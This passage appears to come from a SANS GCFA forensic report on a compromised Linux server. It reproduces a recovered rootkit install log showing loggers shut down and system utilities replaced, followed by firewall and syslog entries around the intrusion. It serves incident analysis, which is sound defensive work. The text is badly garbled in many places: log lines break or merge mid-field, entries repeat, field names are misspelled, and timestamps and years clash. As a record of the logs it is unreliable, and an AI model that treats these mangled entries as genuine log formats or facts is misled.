XXX.XXX.XXX.XXX.108.64 -- [29/Jun/2003:15:06:18 -0600] "GET / HTTP/1.1" 400 409

### Install log from /tmp/.s directory

#### 294) Name: install.log
- **Entry Modified:** 06/29/03 03:25:20PM
- **Last Accessed:** 06/29/03 03:25:20PM
- **Last Written:** 06/29/03 03:25:20PM
Hash Value 65025494af2c14aeb979024429159fb8

Comment: Install log from /tmp/.s/

Installing
chattr: No such file or directory while trying to stat /usr/local/sbin/sshd
Shutting down kernel logger: [ OK ]
Shutting down system logger: [ OK ]
touch: getting attributes of `ps`: No such file or directory
touch: getting attributes of `ls`: No such file or directory
| -ps
| PS --> failed
|--top
TOP --> OK
|----pstat
PSTREE --> failed
|----killall
KILLALL --> OK
|-----ls-dir-vdir
LS DIR VDIR --> failed
|------find
FIND ---> OK
|-------du
DU ---> OK
|-------netstat
NETSTAT ---> OK
Var partition from Logserver

Device
Evidence Number: Var partition from logserver
File Path: C:/Sans\evidence files\Var partition from logserver.E01
Actual Date: 10/14/03 09:07:37PM
Target Date: 10/14/03 09:07:37PM
Total Size: 1,073,709,056 bytes (1,024.0MB)
Total Sectors: 2,097,088
File Integrity: Completely Verified, 0 Errors
EnCase Version: 4.15
System Version: Windows XP
Acquisition Hash: CB51CFD7889DE261C0B94456C9D68819
Verify Hash: CB51CFD7889DE261C0B94456C9D68819

Logging events recovered from unallocated Clusters on /var partition of Logserver.

Logs before logging shutdown on Linux 7.3 system

295)
Name          | Unallocated Clusters
Entry Modified|                     
Last Accessed |                     
Last Written  |                     
Hash Value    |                     

Comment: Firewall Log from log Server - before logging shutdown

Jun 29 15:04:50 192.168.1.1 id=firewall time="2003-06-29 15:04:50" fw="GNAT-Box" pri=6 flt_type=RAF flt_action=pass msg="Received (3)" rule=3 proto=443/tcp src=XXX.XXX.XXX.XXX.108.64 srcport=34988 dst=XXX.XXX.XXX.XXX.5.XX.3X dstport=443 interface=sis1 flags=0x2
Jun 29 15:04:50 192.168.1.1 id=firewall time="2003-06-29 15:04:50" fw="GNAT-Box" pri=6 msg="FILT ER: 31 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to 1x" type=mgmt
Jun 29 15:04:50 192.168.1.1 id=firewall time="2003-06-29 15:04:50" fw="GNAT-Box" pri=4 flt_type=RAF flt_action=pass msg="Accept RAF (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=34988 dstport=443 interface=sis1 flags=0x2
Jun 29 15:04:50 192.168.1.1 id=firewall time="2003-06-29 15:04:50" fw="GNAT-Box" pri=6 msg="FILT ER: 34 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to 1x" type=mgmt
Jun 29 15:04:50 192.168.1.1 id=firewall time="2003-06-29 15:04:50" fw="GNAT-Box" pri=6 flt_type=RAF flt_action=pass msg="Received (3)" rule=3 proto=443/tcp src=XXX.XXX.XXX.XXX.108.64 srcport=34989 dst=XXX.XXX.XXX.XXX.5.XX.3X dstport=443 interface=sis1 flags=0x2
Jun 29 15:04:50 192.168.1.1 id=firewall time="2003-06-29 15:04:51" fw="GNAT-Box" pri=6 flt_type=RAF flt_action=pass msg="Received (3)" rule=3 proto=443/tcp src=XXX.XXX.XXX.XXX.108.64 srcport=34990 dst=XXX.XXX.XXX.XXX.5.XX.3X dstport=443 interface=sis1 flags=0x2
EnCase Computer Analysis Report

Jun 29 15:04:56 192.168.1.1 id=firewall time="2003-06-29 15:04:56" fw="GNAT-Box" pri=6 flt_type=RAF flt_action=pass msg="Received (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35009 dst=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2

Jun 29 15:04:56 192.168.1.1 id=firewall time="2003-06-29 15:04:56" fw="GNAT-Box" pri=6 msg="FILT ER: 53 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx* type=mgmt

Jun 29 15:04:56 192.168.1.1 id=firewall time="2003-06-29 15:04:56" fw="GNAT-Box" pri=6 msg="FILT ER: 60 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx* type=mgmt

Jun 29 15:04:56 192.168.1.1 id=firewall time="2003-06-29 15:04:56" fw="GNAT-Box" pri=6 msg="FILT ER: 61 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx* type=mgmt

Jun 29 15:04:56 192.168.1.1 id=firewall time="2003-06-29 15:04:56" fw="GNAT-Box" pri=6 msg="FILT ER: 60 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx* type=mgmt

Jun 29 15:04:56 192.168.1.1 id=firewall time="2003-06-29 15:04:56" fw="GNAT-Box" pri=6 msg="FILT ER: 61 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx* type=mgmt

Jun 29 15:04:56 192.168.1.1 id=firewall time="2003-06-29 15:04:56" fw="GNAT-Box" pri=6 msg="FILT ER: 60 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx* type=mgmt

Jun 29 15:04:56 192.168.1.1 id=firewall time="2003-06-29 15:04:56" fw="GNAT-Box" pri=6 msg="FILT ER: 61 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx* type=mgmt

© SANS Institute 2004, Author retains full rights.
Jun 29 15:06:00 192.168.1.1 id=firewall time="2003-06-29 15:06:00" fw="GNAT-Box" pri=6 msg="FILT ER: 70 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt
RAF flt_action=pass msg="Accept RAF (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 s srcport=35026 dst=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
Jun 29 15:06:00 192.168.1.1 id=firewall time="2003-06-29 15:06:00" fw="GNAT-Box" pri=6 msg="FILT ER: 71 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt
RAF flt_action=pass msg="Accept RAF (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 s srcport=35027 dst=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
Jun 29 15:06:00 192.168.1.1 id=firewall time="2003-06-29 15:06:00" fw="GNAT-Box" pri=6 msg="FILT ER: 72 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt
RAF flt_action=pass msg="Received (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 s srcport=35027 dst=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
Jun 29 15:06:00 192.168.1.1 id=firewall time="2003-06-29 15:06:00" fw="GNAT-Box" pri=6 msg="FILT ER: 73 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt
RAF flt_action=pass msg="Received (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 s srcport=35027 dst=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
Jun 29 15:06:00 192.168.1.1 id=firewall time="2003-06-29 15:06:00" fw="GNAT-Box" pri=6 msg="FILT ER: 74 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt
RAF flt_action=pas
### EnCase Computer Analysis Report

**Sans GCFA Cert Assignment: EnCase Computer Analysis Report**

<table>
<thead>
<tr>
<th>Date</th>
<th>Time</th>
<th>Event Details</th>
</tr>
</thead>
<tbody>
<tr>
<td>Jun 29 00:29</td>
<td>192.168.1.1 id=firewall time &quot;2001-06-29 15:06:02&quot; FW=&quot;GNAT-Box&quot; pri=6 flt_type=RAF flt_action=pass msg=&quot;Received (3)&quot; rule=3 protocol=443/tcp src=XXX.XXX.108.64 srcport=35034 dstport=443 interface=sis1 flags=0x2</td>
<td></td>
</tr>
<tr>
<td>Jun 29 00:29</td>
<td>192.168.1.1 id=firewall time &quot;2001-06-29 15:06:02&quot; FW=&quot;GNAT-Box&quot; pri=6 msg=&quot;FILT&quot; ER: 79 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx&quot; type=mgmt</td>
<td></td>
</tr>
<tr>
<td>Jun 29 00:29</td>
<td>192.168.1.1 id=firewall time &quot;2001-06-29 15:06:02&quot; FW=&quot;GNAT-Box&quot; pri=4 flt_type=RAF flt_action=pass msg=&quot;Accept RAF (3)&quot; rule=3 protocol=443/tcp src=XXX.XXX.108.64 srcport=35034 srtcp=35034 dsport=443 interface=sis1 flags=0x2</td>
<td></td>
</tr>
</tbody>
</table>

© SANS Institute 2004, Author retains full rights.

EnCase Computer Analysis Report
ER: 87 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt
Jun 29 15:06:04 192.168.1.1 id=firewall time="2003-06-29 15:06:04" fw="GNAT-Box" pri=4 flt_type=
RAF flt_action=pass msg="Accept RAF (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srctpport=35042 ds
t=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
Jun 29 15:06:05 192.168.1.1 id=firewall time="2003-06-29 15:06:05" fw="GNAT-Box" pri=6 flt_type=
RAF flt_action=pass msg="Received (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srctpport=35043 dstt=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
Jun 29 15:06:05 192.168.1.1 id=firewall time="2003-06-29 15:06:05" fw="GNAT-Box" pri=6 msg="FILT" ER: 88 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt
Jun 29 15:06:05 192.168.1.1 id=firewall time="2003-06-29 15:06:05" fw="GNAT-Box" pri=6 msg="FILT" RAF flt_action=pass msg="Accept RAF (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srctpport=35043 dstt=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
Jun 29 15:06:05 192.168.1.1 id=firewall time="2003-06-29 15:06:05" fw="GNAT-Box" pri=6 flt_type=
RAF flt_action=pass msg="Received (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srctpport=35044 dstt=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
Jun 29 15:06:05 192.168.1.1 id=firewall time="2003-06-29 15:06:05" fw="GNAT-Box" pri=6 flt_type=
RAF flt_action=pass msg="Received (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srctpport=35045 dstt=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
Jun 29 15:06:05 192.168.1.1 id=firewall time="2003-06-29 15:06:05" fw="GNAT-Box" pri=6 flt_type=
RAF flt_action=pass msg="Received (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srctpport=35046 dstt=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
Jun 29 15:06:06 192.168.1.1 id=firewall time="2003-06-29 15:06:06" fw="GNAT-Box" pri=6 msg="FILTER"
ER: 90 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt
Jun 29 15:06:06 192.168.1.1 id=firewall time="2003-06-29 15:06:06" fw="GNAT-Box" pri=6 msg="FILTER"
RAF flt_action=pass msg="Received (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srctpport=35047 dstt=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
Jun 29 15:06:06 192.168.1.1 id=firewall time="2003-06-29 15:06:06" fw="GNAT-Box" pri=6 msg="FILTER"
ER: 91 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt
Jun 29 15:06:06 192.168.1.1 id=firewall time="2003-06-29 15:06:06" fw="GNAT-Box" pri=6 msg="FILTER"
RAF flt_action=pass msg="Received (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srctpport=35048 dstt=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
Jun 29 15:06:06 192.168.1.1 id=firewall time="2003-06-29 15:06:06" fw="GNAT-Box" pri=6 msg="FILTER"
ER: 92 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt
Jun 29 15:06:06 192.168.1.1 id=firewall time="2003-06-29 15:06:06" fw="GNAT-Box" pri=6 msg="FILTER"
RAF flt_action=pass msg="Received (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srctpport=35049 dstt=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
Jun 29 15:06:06 192.168.1.1 id=firewall time="2003-06-29 15:06:06" fw="GNAT-Box" pri=6 msg="FILTER"
ER: 93 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt
Jun 29 15:06:06 192.168.1.1 id=firewall time="2003-06-29 15:06:06" fw="GNAT-Box" pri=6 msg="FILTER"
RAF flt_action=pass msg="Received (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srctpport=35050 dstt=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
Jun 29 15:06:07 192.168.1.1 id=firewall time="2003-06-29 15:06:07" fw="GNAT-Box" pri=6 flt_type=

EnCase Computer Analysis Report

Sans GCFA Cert Assignment: EnCase Computer Analysis Report

Page 319

RAF flt_action=pass msg="Received (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srccport=35051 dst=XXX.XXX.5.35 dstport=443 interface=sisf1 flags=0x2
Jun 29 15:06:07 192.168.1.1 id=firewall time="2003-06-29 15:06:07" fw="GNAT-Box" pri=6 msg="FILT ER: 96 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt
Jun 29 15:06:07 192.168.1.1 id=firewall time="2003-06-29 15:06:07" fw="GNAT-Box" pri=4 flt_type=
RAF flt_action=pass msg="Accept RAF (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srccport=35052 dst=XXX.XXX.5.35 dstport=443 interface=sisf1 flags=0x2
Jun 29 15:06:07 192.168.1.1 id=firewall time="2003-06-29 15:06:07" fw="GNAT-Box" pri=6 flt_type=
RAF flt_action=pass msg="Received (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srccport=35053 dst=XXX.XXX.5.35 dstport=443 interface=sisf1 flags=0x2
Jun 29 15:06:08 192.168.1.1 id=firewall time="2003-06-29 15:06:08" fw="GNAT-Box" pri=6 flt_type=
RAF ER: 98 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt
Jun 29 15:06:08 192.168.1.1 id=firewall time="2003-06-29 15:06:08" fw="GNAT-Box" pri=4 flt_type=
RAF flt_action=pass msg="Accept RAF (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srccport=35054 dst=XXX.XXX.5.35 dstport=443 interface=sisf1 flags=0x2
Jun 29 15:06:08 192.168.1.1 id=firewall time="2003-06-29 15:06:08" fw="GNAT-Box" pri=6 flt_type=
RAF ER: 99 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt
Jun 29 15:06:08 192.168.1.1 id=firewall time="2003-06-29 15:06:08" fw="GNAT-Box" pri=4 flt_type=
RAF flt_action=pass msg="Accept RAF (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srccport=35054 ds
Jun 29 15:07:34 192.168.1.1 id=firewall time="2003-06-29 15:07:34" fw="GNAT-Box" pri=6 flt_type=
EOF flt_action=pass msg="Received (3)" rule=3 proto=53/udp src=192.168.2.15 srccport=1031 dst=142.165.5.2 dstport=53 interface=sisf1
Jun 29 15:07:34 192.168.1.1 id=firewall time="2003-06-29 15:07:34" fw="GNAT-Box" pri=6 flt_type=
EOF ER: 3 matches for 3: Accept debug 'DMZ' ALL log from ANY_IP to ANY_IP" type=mgmt
Jun 29 15:07:34 192.168.1.1 id=firewall time="2003-06-29 15:07:34" fw="GNAT-Box" pri=6 flt_type=
EOF flt_action=pass msg="Received (3)" rule=3 proto=80/tcp src=192.168.2.15 srccport=1058 dst=65.113.119.141 dstport=80 interface=sisf2 flags=0x2
Jun 29 15:07:34 192.168.1.1 id=firewall time="2003-06-29 15:07:34" fw="GNAT-Box" pri=6 flt_type=
EOF ER: 4 matches for 3: Accept debug 'DMZ' ALL log from ANY_IP to ANY_IP" type=mgmt
Jun 29 15:08:29 192.168.2.15 su(pam_unix)[19508]: session opened for user root by (uid=0)
Jun 29 15:09:38 192.168.1.1 id=firewall time="2003-06-29 15:09:38" fw="GNAT-Box" pri=6 flt_type=
EOF 59 matches for 24: Deny warning ANY_ALL alarm from ANY_IP to ANY_IP" type=mgmt
Jun 29 15:10:13 192.168.1.1 id=firewall time="2003-06-29 15:10:13" fw="GNAT-Box" pri=4 flt_type=
RAF flt_action=pass msg="Received (3)" rule=3 proto=80/tcp src=192.168.2.15 srccport=1059 dst=65.113.119.141 dstport=80 interface=sisf2 flags=0x2
Jun 29 15:09:38 192.168.1.1 id=firewall time="2003-06-29 15:09:38" fw="GNAT-Box" pri=6 flt_type=
EOF ER: 5 matches for 3: Accept debug 'DMZ' ALL log from ANY_IP to ANY_IP" type=mgmt
Jun 29 15:09:38 192.168.1.1 id=firewall time="2003-06-29 15:09:38" fw="GNAT-Box" pri=6 flt_type=
EOF flt_action=pass msg="Received (3)" rule=3 proto=80/tcp src=192.168.2.15 srccport=1059 dst=65.113.119.141 dstport=80 interface=sisf2 flags=0x2
Jun 29 15:10:38 192.168.1.1 id=firewall time="2003-06-29 15:10:38" fw="GNAT-Box" pri=6 flt_type=
EOF ER: 6 matches for 3: Accept debug 'DMZ' ALL log from ANY_IP to ANY_IP" type=mgmt
Jun 29 15:10:38 192.168.1.1 id=firewall time="2003-06-29 15:10:38" fw="GNAT-Box" pri=6 flt_type=
EOF flt_action=pass msg="Received (3)" rule=3 proto=3389/tcp src=80.6.101.56 srccport=4918 dst=XXX.XXX.5.32 dstport=3389 interface=sisf1 attribute="alarm" flags=0x2
Jun 29 15:10:13 192.168.1.1 id=firewall time="2003-06-29 15:10:13" fw="GNAT-Box" pri=6 flt_type=
EOF ER: 100 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt
Jun 29 15:10:15 192.168.1.1 id=firewall time="2003-06-29 15:10:15" fw="GNAT-Box" pri=4 flt_type=
RAF flt_action=pass msg="Accept RAF (3)" rule=3 proto=3389/tcp src=80.6.101.56 srccport=4927 dst=142.165.5.35 dstport=3389 interface=sisf1 flags=0x2
Jun 29 15:10:15 192.168.1.1 id=firewall time="2003-06-29 15:10:15" fw="GNAT-Box" pri=6 flt_type=
RAF flt_action=pass msg="Received (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srccport=35052 dst=XXX.XXX.5.35 dstport=443 interface=sisf1 flags=0x2
Jun 29 15:10:16 192.168.1.1 id=firewall time="2003-06-29 15:10:16" fw="GNAT-Box" pri=6 flt_type=
<table>
<thead>
<tr>
<th>Time</th>
<th>Event Description</th>
<th>Source IP</th>
<th>Destination IP</th>
<th>Protocol</th>
<th>Source Port</th>
<th>Destination Port</th>
<th>Flags</th>
<th>Interface</th>
<th>Action</th>
<th>Message</th>
</tr>
</thead>
<tbody>
<tr>
<td>Jun 29 15:19:06 192.168.1.1</td>
<td>id=firewall time=&quot;2003-06-29 15:19:06&quot; fw=&quot;GNAT-Box&quot; p=6 msg=&quot;FILT ER: 115 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx&quot; type=mgmt</td>
<td>XXX.XXX.108.64</td>
<td>XXX.XXX.5.35</td>
<td>443/tcp</td>
<td>35072</td>
<td>443</td>
<td>0x2</td>
<td>sis1</td>
<td>pass</td>
<td>Accept RAF (3)</td>
</tr>
<tr>
<td>Jun 29 15:19:06 192.168.1.1</td>
<td>id=firewall time=&quot;2003-06-29 15:19:06&quot; fw=&quot;GNAT-Box&quot; p=4 flt_type=</td>
<td>XXX.XXX.108.64</td>
<td>XXX.XXX.5.35</td>
<td>443/tcp</td>
<td>35072</td>
<td>443</td>
<td>0x2</td>
<td>sis1</td>
<td>pass</td>
<td>Accept RAF (3)</td>
</tr>
<tr>
<td>Jun 29 15:19:07 192.168.1.1</td>
<td>id=firewall time=&quot;2003-06-29 15:19:07&quot; fw=&quot;GNAT-Box&quot; p=6 msg=&quot;FILT ER: 117 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx&quot; type=mgmt</td>
<td>XXX.XXX.108.64</td>
<td>XXX.XXX.5.35</td>
<td>443/tcp</td>
<td>35074</td>
<td>443</td>
<td>0x2</td>
<td>sis1</td>
<td>pass</td>
<td>Accept RAF (3)</td>
</tr>
<tr>
<td>Jun 29 15:19:07 192.168.1.1</td>
<td>id=firewall time=&quot;2003-06-29 15:19:07&quot; fw=&quot;GNAT-Box&quot; p=6 msg=&quot;FILT ER: 118 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx&quot; type=mgmt</td>
<td>XXX.XXX.108.64</td>
<td>XXX.XXX.5.35</td>
<td>443/tcp</td>
<td>35075</td>
<td>443</td>
<td>0x2</td>
<td>sis1</td>
<td>pass</td>
<td>Accept RAF (3)</td>
</tr>
<tr>
<td>Jun 29 15:19:07 192.168.1.1</td>
<td>id=firewall time=&quot;2003-06-29 15:19:07&quot; fw=&quot;GNAT-Box&quot; p=6 msg=&quot;FILT ER: 119 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx&quot; type=mgmt</td>
<td>XXX.XXX.108.64</td>
<td>XXX.XXX.5.35</td>
<td>443/tcp</td>
<td>35076</td>
<td>443</td>
<td>0x2</td>
<td>sis1</td>
<td>pass</td>
<td>Accept RAF (3)</td>
</tr>
<tr>
<td>Jun 29 15:19:07 192.168.1.1</td>
<td>id=firewall time=&quot;2003-06-29 15:19:07&quot; fw=&quot;GNAT-Box&quot; p=4 flt_type=</td>
<td>XXX.XXX.108.64</td>
<td>XXX.XXX.5.35</td>
<td>443/tcp</td>
<td>35070</td>
<td>443</td>
<td>0x2</td>
<td>sis1</td>
<td>pass</td>
<td>Accept RAF (3)</td>
</tr>
<tr>
<td>Jun 29 15:19:07 192.168.1.1</td>
<td>id=firewall time=&quot;2003-06-29 15:19:07&quot; fw=&quot;GNAT-Box&quot; p=4 flt_type=</td>
<td>XXX.XXX.108.64</td>
<td>XXX.XXX.5.35</td>
<td>443/tcp</td>
<td>35071</td>
<td>443</td>
<td>0x2</td>
<td>sis1</td>
<td>pass</td>
<td>Accept RAF (3)</td>
</tr>
<tr>
<td>Jun 29 15:19:07 192.168.1.1</td>
<td>id=firewall time=&quot;2003-06-29 15:19:07&quot; fw=&quot;GNAT-Box&quot; p=4 flt_type=</td>
<td>XXX.XXX.108.64</td>
<td>XXX.XXX.5.35</td>
<td>443/tcp</td>
<td>35072</td>
<td>443</td>
<td>0x2</td>
<td>sis1</td>
<td>pass</td>
<td>Accept RAF (3)</td>
</tr>
<tr>
<td>Jun 29 15:19:08 192.168.1.1</td>
<td>id=firewall time=&quot;2003-06-29 15:19:08&quot; fw=&quot;GNAT-Box&quot; p=6 msg=&quot;FILT ER: 120 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx&quot; type=mgmt</td>
<td>XXX.XXX.108.64</td>
<td>XXX.XXX.5.35</td>
<td>443/tcp</td>
<td>35073</td>
<td>443</td>
<td>0x2</td>
<td>sis1</td>
<td>pass</td>
<td>Accept RAF (3)</td>
</tr>
<tr>
<td>Jun 29 15:19:08 192.168.1.1</td>
<td>id=firewall time=&quot;2003-06-29 15:19:08&quot; fw=&quot;GNAT-Box&quot; p=6 msg=&quot;FILT ER: 121 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx&quot; type=mgmt</td>
<td>XXX.XXX.108.64</td>
<td>XXX.XXX.5.35</td>
<td>443/tcp</td>
<td>35074</td>
<td>443</td>
<td>0x2</td>
<td>sis1</td>
<td>pass</td>
<td>Accept RAF (3)</td>
</tr>
<tr>
<td>Jun 29 15:19:08 192.168.1.1</td>
<td>id=firewall time=&quot;2003-06-29 15:19:08&quot; fw=&quot;GNAT-Box&quot; p=6 msg=&quot;FILT ER: 122 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx&quot; type=mgmt</td>
<td>XXX.XXX.108.64</td>
<td>XXX.XXX.5.35</td>
<td>443/tcp</td>
<td>35075</td>
<td>443</td>
<td>0x2</td>
<td>sis1</td>
<td>pass</td>
<td>Accept RAF (3)</td>
</tr>
</tbody>
</table>
Logs showing syslog being shutdown on Linux 7.3 system

296)
Name  Unallocated Clusters
Entry Modified
Last Accessed
Last Written
Hash Value

Comment: Victim Logs from log Server - Syslog shutdown

Jun 29 15:20:54 192.168.2.15 kernel: request_module[net-pf-14]: waitpid(1602, ... failed, errno 1
Jun 29 15:20:57 192.168.2.15 su(pam_unix): session opened for user root by (uid=0)
Jun 29 15:21:13 192.168.2.15 exiting on signal 15
Logs after logging shutdown on Linux 7.3 system

Comment: Firewall logs from log Server - After Syslog shutdown

Jun 29 15:20:33 192.168.1.1 id=firewall time="2003-06-29 15:20:33" fw="GNAT-Box" pr=6 flt_type= OBF flt_action=pass msg="Received (3)" rule=3 proto=80/tcp src=192.168.2.15 srcport=1061 dst=192.168.1.155.21 dstport=80 interface=sis2 flags=0x2
Jun 29 15:20:33 192.168.1.1 id=firewall time="2003-06-29 15:20:33" fw="GNAT-Box" pr=6 msg="FILT ER: 10 matches for 3: Accept debug 'DMZ' ALL log from ANY_IP to ANY_IP" type=mgmt
Jun 29 15:22:06 192.168.1.1 id=firewall time="2003-06-29 15:22:06" fw="GNAT-Box" pr=6 msg="FILT ER: 137 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt
Jun 29 15:23:22 192.168.1.1 id=firewall time="2003-06-29 15:23:22" fw="GNAT-Box" pr=6 msg="FILT ER: 139 matches for 3: Accept debug 'DMZ' ALL log from ANY_IP to lx" type=mgmt
Jun 29 15:23:22 192.168.1.1 id=firewall time="2003-06-29 15:23:22" fw="GNAT-Box" pr=6 msg="FILT ER: 140 matches for 3: Accept debug 'DMZ' ALL log from ANY_IP to lx" type=mgmt
Jun 29 15:22:06 192.168.1.1 id=firewall time="2003-06-29 15:22:06" fw="GNAT-Box" pr=6 msg="FILT ER: 10 matches for 3: Accept debug 'DMZ' ALL log from ANY_IP to ANY_IP" type=mgmt
Jun 29 15:23:22 192.168.1.1 id=firewall time="2003-06-29 15:23:22" fw="GNAT-Box" pr=6 msg="FILT ER: 137 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt
Jun 29 15:23:22 192.168.1.1 id=firewall time="2003-06-29 15:23:22" fw="GNAT-Box" pr=6 msg="FILT ER: 139 matches for 3: Accept debug 'DMZ' ALL log from ANY_IP to lx" type=mgmt
Jun 29 15:23:22 192.168.1.1 id=firewall time="2003-06-29 15:23:22" fw="GNAT-Box" pr=6 msg="FILT ER: 140 matches for 3: Accept debug 'DMZ' ALL log from ANY_IP to lx" type=mgmt

EnCase Computer Analysis Report
Sans GCFA Cert Assignment: EnCase Computer Analysis Report
Page 325

297)
Name: Unallocated Clusters
Entry Modified: 9
Last Accessed: 9
Last Written: 9
Hash Value: 9

Comment: Firewall logs from log Server - After Syslog shutdown
Jun 29 15:23:26 192.168.1.1 id=firewall time="2003-06-29 15:23:26" fw="GANAT-Box" pri=6 flt_type="RAF" flt_action="pass" msg="Accept RAF (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srccport=35095 dst=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
Jun 29 15:23:26 192.168.1.1 id=firewall time="2003-06-29 15:23:26" fw="GANAT-Box" pri=6 flt_type="RAF" flt_action="pass" msg="Received (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srccport=35096 dst=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
Jun 29 15:23:26 192.168.1.1 id=firewall time="2003-06-29 15:23:26" fw="GANAT-Box" pri=6 msg="FILT"
Jun 29 15:23:26 192.168.1.1 id=firewall time="2003-06-29 15:23:26" fw="GANAT-Box" pri=6 flt_type="RAF" flt_action="pass" msg="Accept RAF (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srccport=35096 dst=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
Jun 29 15:23:26 192.168.1.1 id=firewall time="2003-06-29 15:23:26" fw="GANAT-Box" pri=6 flt_type="RAF" flt_action="pass" msg="Received (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srccport=35097 dst=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
Jun 29 15:23:26 192.168.1.1 id=firewall time="2003-06-29 15:23:26" fw="GANAT-Box" pri=6 flt_type="RAF" flt_action="pass" msg="Received (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srccport=35098 dst=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
Jun 29 15:23:26 192.168.1.1 id=firewall time="2003-06-29 15:23:26" fw="GANAT-Box" pri=6 flt_type="RAF" flt_action="pass" msg="Received (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srccport=35099 dst=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
Jun 29 15:23:26 192.168.1.1 id=firewall time="2003-06-29 15:23:26" fw="GANAT-Box" pri=6 flt_type="RAF" flt_action="pass" msg="Received (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srccport=35100 dst=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
Jun 29 15:23:26 192.168.1.1 id=firewall time="2003-06-29 15:23:26" fw="GANAT-Box" pri=6 flt_type="RAF" flt_action="pass" msg="Received (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srccport=35101 dst=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
